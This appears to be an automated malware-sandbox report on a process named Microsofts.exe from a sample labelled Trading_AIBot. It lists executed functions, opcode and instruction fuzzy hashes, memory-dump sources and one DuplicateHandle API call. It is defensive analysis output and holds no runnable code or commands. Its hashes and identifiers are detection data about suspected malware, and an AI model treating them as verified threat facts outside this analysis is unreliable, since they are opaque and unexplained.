Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02517d86dfa6e5a199661b4369ce5fa3f3421d4e0fd3f32055a5845f2b26036b
Instruction ID: 5d4f2cab1dae2890f11c9eca252a41c9f27a8d2360719c115c21a0b6a72003dc
Opcode Fuzzy Hash: 02517d86dfa6e5a199661b4369ce5fa3f3421d4e0fd3f32055a5845f2b26036b
Instruction Fuzzy Hash: DFC08071D4534CDBD314DF94B404B65B77CD703312F400158D518D3200D77144D0E6B5

Analysis Process: Microsofts.exePID: 1664, Parent PID: 1012COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	2
Total number of Limit Nodes:	0

Executed Functions

Function 00BBC530 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 00BBF910

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 081a0c056fa247555ba8076ea3cd8fa85ac2994c38a70f4c45ff84bb371c9e32
Instruction ID: 443059f95ae65837ceca2b0f0645ff43ba18fe9a5e7f2ca5a2f3044d66c9281d
Opcode Fuzzy Hash: 081a0c056fa247555ba8076ea3cd8fa85ac2994c38a70f4c45ff84bb371c9e32
Instruction Fuzzy Hash: 9E73D531D1075A8ADB11EF68C844AE9FBB1FF95300F55C6DAE45867221EB70AAC4CF81

Function 00BB2DD1 Relevance: .4, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcc34c973122243e6314ca1e325b57bd317b07c50d1f5b8f94fcaf72de681fe4
Instruction ID: 5cf71918fff7d8fdc233a4691b27cc55f5977ec898de2fded0123aa5c47e2c47
Opcode Fuzzy Hash: fcc34c973122243e6314ca1e325b57bd317b07c50d1f5b8f94fcaf72de681fe4
Instruction Fuzzy Hash: AAE18C74F00248CFDB08EFB9D8A46AEBBF2BF89700B148569E406A7354DF749942CB51

Function 00BB9480 Relevance: .3, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900dd3629dad2cefe8a090342f40bacc13a1c674b8f437919a34d24f2a222ff2
Instruction ID: 14f2464989460f84ad64791670cedcab59353ded82bb11b862646d5f909752dc
Opcode Fuzzy Hash: 900dd3629dad2cefe8a090342f40bacc13a1c674b8f437919a34d24f2a222ff2
Instruction Fuzzy Hash: 9FC19E78E01218CFDB15DFA5D994BADBBB2BF89300F2081AAD809A7355DB355E85CF10

Function 00BBC521 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d289c90c5de7558101e0c3dd5f85c6519a891a50efbb8df94b9bdedfc8e40144
Instruction ID: c7828e8e791ec8b8365a2821684a4f8f71f1a55d09f599fbc51785c97ddd37c9
Opcode Fuzzy Hash: d289c90c5de7558101e0c3dd5f85c6519a891a50efbb8df94b9bdedfc8e40144
Instruction Fuzzy Hash: 1FA1F371D006198FDB14DFA9C8847EDFBB1EF89300F14C6AAE458A7261EB709A85CF41

Function 00BB9A30 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61bf9986df05fe4671c3ce66118072700c331c2e9ec35ec48acf4f7f21a6f0f5
Instruction ID: e2c8d6668aaa88bfd407f474df41b520c0eb27fe36d7b29995d8860161b17dc0
Opcode Fuzzy Hash: 61bf9986df05fe4671c3ce66118072700c331c2e9ec35ec48acf4f7f21a6f0f5
Instruction Fuzzy Hash: 12A10770D00208CFEB14DFA9C9947EDBBB1FF89304F24826AE509A7291DB759985CF50

Function 00BB9A40 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4467a5909588345f7431c37e80eb5112568a7de5deccee2db35db44147041b3a
Instruction ID: 45be3e95518ce206283525a6b9a7359a0beedcf7b19b6b3c5f1bf1fc0fc06075
Opcode Fuzzy Hash: 4467a5909588345f7431c37e80eb5112568a7de5deccee2db35db44147041b3a
Instruction Fuzzy Hash: A7A10770D00208CFEB24DFA9C954BEDBBB1FF89304F20826AE508A7291DB749985CF55

Function 00BB9D87 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa91a69acc566786c22ec31f68a0bc5858c310279f1575ed33d1096aa426b25
Instruction ID: 564ad992ad0707373012638ae780fc3939d8241f7be9c11703730508d42ce2e9
Opcode Fuzzy Hash: 0aa91a69acc566786c22ec31f68a0bc5858c310279f1575ed33d1096aa426b25
Instruction Fuzzy Hash: C491D474D00208CFEB10DFA9C9847ECBBB1FF49311F2482AAE509A7291DB759985CF55

Function 00BB946F Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee51fc37928548a1a70568bfb88b71fb843ed435c63fa8bbe7dc5f245b35c7a9
Instruction ID: 4f525219506934d0b98f881621f475b69cb4f2df6242e0aa458cb7c3282bb191
Opcode Fuzzy Hash: ee51fc37928548a1a70568bfb88b71fb843ed435c63fa8bbe7dc5f245b35c7a9
Instruction Fuzzy Hash: 3641E575D01208CBEB18DFA6D8546EDBBF2BF89300F24D12AD419AB255EB345946CF50

Function 00BBAF78 Relevance: 1.6, Strings: 1, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00BBB065

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9c5c67599b959656cefb4ad5afb238a187af6fee01238c0b68480839043f94e3
Instruction ID: 7e26ca3ea8eff2ceb588b035d8038d349633b66230f722b6ec767e28fa5eaab8
Opcode Fuzzy Hash: 9c5c67599b959656cefb4ad5afb238a187af6fee01238c0b68480839043f94e3
Instruction Fuzzy Hash: 38B1F3357042048FEB156F78D864ABE7BE2EF85320F50429AE926DB3D1DFB58C058762

Function 051CA81A Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 051CA8A7

Memory Dump Source

Source File: 0000000D.00000002.4655649913.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c0000_Microsofts.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a0c792f1c5aeea15f7dfc7390154c098683f4eb7f7e0f032a296aed0caf5f3ff
Instruction ID: cdfa186f6af9cfdfadc4b5f76c024e2b8523137044662f7d3d8ff7618798472d
Opcode Fuzzy Hash: a0c792f1c5aeea15f7dfc7390154c098683f4eb7f7e0f032a296aed0caf5f3ff
Instruction Fuzzy Hash: 8621E3B5900248EFDB10CFAAD985ADEBBF8FB48310F14845AE914A7350C379A954CF65

Function 051CA820 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 051CA8A7

Memory Dump Source

Source File: 0000000D.00000002.4655649913.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c0000_Microsofts.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8239e9d4b35a1b2e2eb7c03a5f7489788362f21a81a0e0c1e0849e1abe0d20ba
Instruction ID: ec684ee6d2aeba0027699bba5c63c876df030ce6dd1c804ceaf39471af5e4572
Opcode Fuzzy Hash: 8239e9d4b35a1b2e2eb7c03a5f7489788362f21a81a0e0c1e0849e1abe0d20ba
Instruction Fuzzy Hash: 6121E3B5900248EFDB10CFAAD985ADEBBF8EB48310F14845AE914A3310C379A954CF65

Function 00BBAF72 Relevance: 1.5, Strings: 1, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00BBB015

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: e68848a391b7410eab083b1e5c08679ba32998b8852ef748e5a7b0f128230c15
Instruction ID: a55bc780096f8a94babc20fcb0063c40d5f599edbe4431793bf5391e27fe96a0
Opcode Fuzzy Hash: e68848a391b7410eab083b1e5c08679ba32998b8852ef748e5a7b0f128230c15
Instruction Fuzzy Hash: EC81D2357002048FEB15AF78D868A7E7BE2EFC9320B5445AAE526DB3D1DFB49C018761

Function 00BB19B8 Relevance: .6, Instructions: 552
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42a50715ce7b9c4da412cc101dc0ddc18f922b111fb661cdb1f83be2183b08d6
Instruction ID: 830dd054d6c911b41bd780f6a8c42ea7427e9e13baa2f600f54a599c13960dcb
Opcode Fuzzy Hash: 42a50715ce7b9c4da412cc101dc0ddc18f922b111fb661cdb1f83be2183b08d6
Instruction Fuzzy Hash: FC326ED6E0D7D18BCB228F3458FC1A4BFE15F2A194B5E45CEC5C25B28BE6602886C353

Function 00BBB500 Relevance: .4, Instructions: 381
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b163c29afcebbc68025657466d3fe0b9f40746fb191dfbabce00e611edb7c4ad
Instruction ID: 480ae2815662bca093eb1a25f55d5a724e428bb141858e1ea9275ff477e844e6
Opcode Fuzzy Hash: b163c29afcebbc68025657466d3fe0b9f40746fb191dfbabce00e611edb7c4ad
Instruction Fuzzy Hash: 9FD19131B042048FDB15DB68C890ABEBBF2EF89320F2545AAE506DB3A1DBB5DD41C751

Function 00BBBF80 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d10b6d03735a8dd624ba83c1339ac85c3414ff888e5c146a343758df6754baf
Instruction ID: dfac4f995605ab842fb0df9ba6749ca271cd8d505d40d3480cff005f2848d780
Opcode Fuzzy Hash: 0d10b6d03735a8dd624ba83c1339ac85c3414ff888e5c146a343758df6754baf
Instruction Fuzzy Hash: 9961D272B00205DFCB14EABCD884ABABFF5EBC9324B14856AE569E7750D771DC0187A0

Function 00BB0B20 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4c3fcbd644b943aeef11a79b386897f5b35f3f5be7dfd784bfba197bdcec834
Instruction ID: fa8647b3dbe30845493411acf47a436c8dcdaca650b1382586a83f509d975f73
Opcode Fuzzy Hash: b4c3fcbd644b943aeef11a79b386897f5b35f3f5be7dfd784bfba197bdcec834
Instruction Fuzzy Hash: 47A19078D0020ACFCB05EFB8E9A5A9DBBB1FB49305B205529E505A7359EB706D45CF80

Function 00BB0B30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af7b3f7304dda00782b42c398120c09260ac2f43b6d6f19d2e1ea421f05e4776
Instruction ID: d6dd2b2820cf5bffc3d6ecce7daa5108003cad35a388ff6d48b121a6c23699f0
Opcode Fuzzy Hash: af7b3f7304dda00782b42c398120c09260ac2f43b6d6f19d2e1ea421f05e4776
Instruction Fuzzy Hash: 15A18D78E0020ACFCB05EFB8E9A599DBBB1FB49305B205529E505A7369EB706D45CF80

Function 00BB3F78 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb522ff6c5919f61d9f6a5425b6d17fd02f1e539e11611aa7a34ccb64c64c12c
Instruction ID: f196c4b8ad778bbc5ea4179c8b59af4211a3893fae0a49dffe823aa8942cb6e5
Opcode Fuzzy Hash: eb522ff6c5919f61d9f6a5425b6d17fd02f1e539e11611aa7a34ccb64c64c12c
Instruction Fuzzy Hash: 0051C274E00208DFDB48DFA9D494AEDBBF2BF89310F209469E815AB365DB749942CF10

Function 00BB2C78 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f0b7fbf6abbacf8db7c1d6642203412e97117cb56b2dafae8b126b72bce662b
Instruction ID: 2c43c1dd37ebc8b978765dd1ceb030619747782daea6e231bfcf2f60f11ec84d
Opcode Fuzzy Hash: 4f0b7fbf6abbacf8db7c1d6642203412e97117cb56b2dafae8b126b72bce662b
Instruction Fuzzy Hash: 7831E535B042158BEF2D5B6998A42FE6AE6FBD5300F1841BED902C3395EFF48C458761

Function 00BB3509 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e29001c436af2458e4dbb660b26bd55795271dcb217bd39e060a1765324f052
Instruction ID: 86d3050d7578877f27fe0fccf1ffb0a9dec47e9e60c06aa3a55255ce737329e5
Opcode Fuzzy Hash: 3e29001c436af2458e4dbb660b26bd55795271dcb217bd39e060a1765324f052
Instruction Fuzzy Hash: E441DD78E08248CFCB25CFA4D8944FCBBF2EF6A710F20509AC509AB216D67699058F51

Function 00BB3168 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 663150950e02f3ab65a1bc18acdc5d625eaac253d3f584b6ab714f4c3fe2c415
Instruction ID: 7a332e7e708252158ceb3828dc181a1ac89e5bd2a4e05579be5a1a5420f3f7d9
Opcode Fuzzy Hash: 663150950e02f3ab65a1bc18acdc5d625eaac253d3f584b6ab714f4c3fe2c415
Instruction Fuzzy Hash: 02419E74E012089FCB08DFAAD8949EDBBF2BF89300F249569E805BB364DB749945CF14

Function 00BB9249 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5469be26593b8455720617fe59300545939d03c970035e1ade492a8fe6f0ef10
Instruction ID: a9e3221fb47c42bb67500acf17bbeef5752c6f0b61dbf02f3efdbb9e19d78ed2
Opcode Fuzzy Hash: 5469be26593b8455720617fe59300545939d03c970035e1ade492a8fe6f0ef10
Instruction Fuzzy Hash: DB31F27002A2468FD3012F31E5AC57A7FA0FBAF313B84AC46E00E82852CB396844CF31

Function 00BBB869 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b57ac06c1d7f29234f03a6d251ffc91437a881222e05341402a576903c108164
Instruction ID: 73d06b1cca5bf69d722e072885c475da2b7d9317c770ada4070b86b5fb2457a1
Opcode Fuzzy Hash: b57ac06c1d7f29234f03a6d251ffc91437a881222e05341402a576903c108164
Instruction Fuzzy Hash: 64311775B001098FDB15DBA8C490EEDBBF2EF89320F595194E601AB365DBB0EC41CBA0

Function 00BBB89D Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf28a6749c8375b2823b4c22ce96187689f9f8ab13846827393b0c40be25943
Instruction ID: 17ff1780f9e4f4524d8e8b39467421424fac9e6dfb7f73de6e4b32e7efbf6f15
Opcode Fuzzy Hash: bdf28a6749c8375b2823b4c22ce96187689f9f8ab13846827393b0c40be25943
Instruction Fuzzy Hash: 24311775B001098FDB54DBA8D490EEDBBF2EF89320F555194E601AB365DBB1EC41CBA0

Function 00BBBDE8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84173dd412de6cd61c82d319e58ae9c0abe76f42ccf6fde72e29b89c4f4ad3e0
Instruction ID: e1cf7506114b62625b14c79ef1ff18c099e2e7d72985d24f18b4273d0617e99d
Opcode Fuzzy Hash: 84173dd412de6cd61c82d319e58ae9c0abe76f42ccf6fde72e29b89c4f4ad3e0
Instruction Fuzzy Hash: A631BF357042049FDB04DF68C895AAEBBF6FF89300F5080AAE5068B362DB709D46CB91

Function 00BBBCE8 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6df543796690aa0baf2dd8b641567c521a2750bfbfa0f61fe5385a97461a88c0
Instruction ID: a1e27c261054a708e7bf03dd461ee8781ddf2cecfc8ca1defb8d613a72749ec0
Opcode Fuzzy Hash: 6df543796690aa0baf2dd8b641567c521a2750bfbfa0f61fe5385a97461a88c0
Instruction Fuzzy Hash: 51219F71A001089FDB44EFB8C855ABE7BF6EF88300B5041BAE509D7255EB749E02C7A0

Function 00BB18C8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b350945c415b3be08b10bc6c6f674ebf057daef77e942711ee7736ee5c328e4
Instruction ID: 80a0f5ddfc69c2726ab77ad27b772a4076c87bb894442b0b4f5fb28bd5434666
Opcode Fuzzy Hash: 0b350945c415b3be08b10bc6c6f674ebf057daef77e942711ee7736ee5c328e4
Instruction Fuzzy Hash: DE21C435A001869FCB14DF28D4609FE77B5EBD9350BA0C499E8499B344EB31EE06CB91

Function 00A5D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4630209610.0000000000A5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_a5d000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b0cbb480c88132dbfe24268bc63d77110e0b128e083e8aaed79d384a2cd9fd4
Instruction ID: 1d92210f5e5438e9cd81d8fecbf84b09b8a0ecd16bf7761f03da2407965a5c2b
Opcode Fuzzy Hash: 4b0cbb480c88132dbfe24268bc63d77110e0b128e083e8aaed79d384a2cd9fd4
Instruction Fuzzy Hash: A821C271604244EFDB24DF14D9C0B26BBA5FB84319F24C56DDD0A4B296C37AD84BCA62

Function 00A5D005 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4630209610.0000000000A5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_a5d000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8732cee1f963816c9d23aebefc0ccf385514f57172e2c8e25c43fbc241813b24
Instruction ID: e6b8ee15663e46cc7f456fd2ba0f729cac42d52f6535f5e4a0611c13f888d53e
Opcode Fuzzy Hash: 8732cee1f963816c9d23aebefc0ccf385514f57172e2c8e25c43fbc241813b24
Instruction Fuzzy Hash: F8214B715093C49FCB13CF24D990711BF71AB46214F29C5DAD8898F2A7C33A980ACB62

Function 00BB34DD Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a60ec3d851d8e26e266133493fdf365c054caf06d66aafb4da8c4f50b742628
Instruction ID: abd5fbcf62e57fb0b795e69f7ec0e5fcfa981f295ee1ca832c39e194bac986c3
Opcode Fuzzy Hash: 8a60ec3d851d8e26e266133493fdf365c054caf06d66aafb4da8c4f50b742628
Instruction Fuzzy Hash: 0C212438E09248CFCB25DFA8D8946ECBBB2EF89300F20906AD809AB255D7349845CF50

Function 00BB0EC8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c300067063245cf8241a343e5cf889a432e491c2dcd20dc831b98530a18bef5
Instruction ID: cb9cd3e6c63a4fc67f7368cd585cc2a85da7c5efd94e8bda5ddf23383519e411
Opcode Fuzzy Hash: 4c300067063245cf8241a343e5cf889a432e491c2dcd20dc831b98530a18bef5
Instruction Fuzzy Hash: 11216875E102089FDB08EFB9D4507FEBBB2FB89305F2084A994149B395DBB49A45CF41

Function 00BB17B8 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1987f0b5d552f14855ac3469b8f813c9a1b5aacd2bd30ea920799d357185dd1
Instruction ID: 68cf5a9e890ef2c786f8149fe81e3ab6f0237f8fad69699d53c04c7cc618a8a0
Opcode Fuzzy Hash: d1987f0b5d552f14855ac3469b8f813c9a1b5aacd2bd30ea920799d357185dd1
Instruction Fuzzy Hash: 0F21E471D0925A8FCB01DFA9D8A45EDBFF0BF0A304F1445AAD405B7261EB344A85CBA1

Function 00BBBB48 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bbace223e5c07b6ae12928d06b939f1675eb90e6e5cd402bab07814ad11912a
Instruction ID: 2d2c2e7725a6637007b52cb840933443563f84110e8bb34ef836e0b3ce40a2d2
Opcode Fuzzy Hash: 7bbace223e5c07b6ae12928d06b939f1675eb90e6e5cd402bab07814ad11912a
Instruction Fuzzy Hash: DC115176300104CFD724DB69D994E66B7E6FF99721B2180A9E24ACB364CBB1EC04CB50

Function 00BB4850 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c72e36e1c0806f2d42c2b7d1a7446891e2e8a228bc91c9936aa746a1faeb2e85
Instruction ID: ef11c0820dcdbe7127d5badd5f05f44f2cc77e7006b9c58a50210f1b94f1a445
Opcode Fuzzy Hash: c72e36e1c0806f2d42c2b7d1a7446891e2e8a228bc91c9936aa746a1faeb2e85
Instruction Fuzzy Hash: 27019A32B012418FDB14ABB98D586BEB6EBAF85260715457AD906CB365FFB0CC018B90

Function 00BB4860 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4631135407.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51559350f35809c4d8ca163164517e694ebc1a92adaed676740479d218e36088
Instruction ID: 5082ff6301fa4f29e9d33ea6d491ae9892dce1572838c0289f88f36c748bfabe
Opcode Fuzzy Hash: 51559350f35809c4d8ca163164517e694ebc1a92adaed676740479d218e36088
Instruction Fuzzy Hash: BA018B32B012558B9714ABBA8C5897EB6EBEE84660311457AD905C7355FFB0CC008A91

